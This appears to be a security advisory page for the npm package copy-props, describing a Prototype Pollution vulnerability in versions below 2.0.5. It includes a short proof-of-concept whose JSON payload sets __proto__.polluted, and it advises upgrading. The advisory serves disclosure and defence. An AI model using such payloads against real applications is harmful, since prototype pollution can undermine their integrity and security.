copy-props@2.0.2 vulnerabilities

Copy properties deeply between two objects.

  • latest version

    4.0.0

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the copy-props package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    copy-props is a Copy properties deeply between two objects.

    Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

    POC

    const copyProps = require('copy-props');
    
    var malicious_payload = '{"__proto__":{"polluted":"polluted"}}';
    console.log("Before : " + {}.polluted);
    
    copyProps(JSON.parse(malicious_payload), {});
    console.log("After : " + {}.polluted);
    

    How to fix Prototype Pollution?

    Upgrade copy-props to version 2.0.5 or higher.

    <2.0.5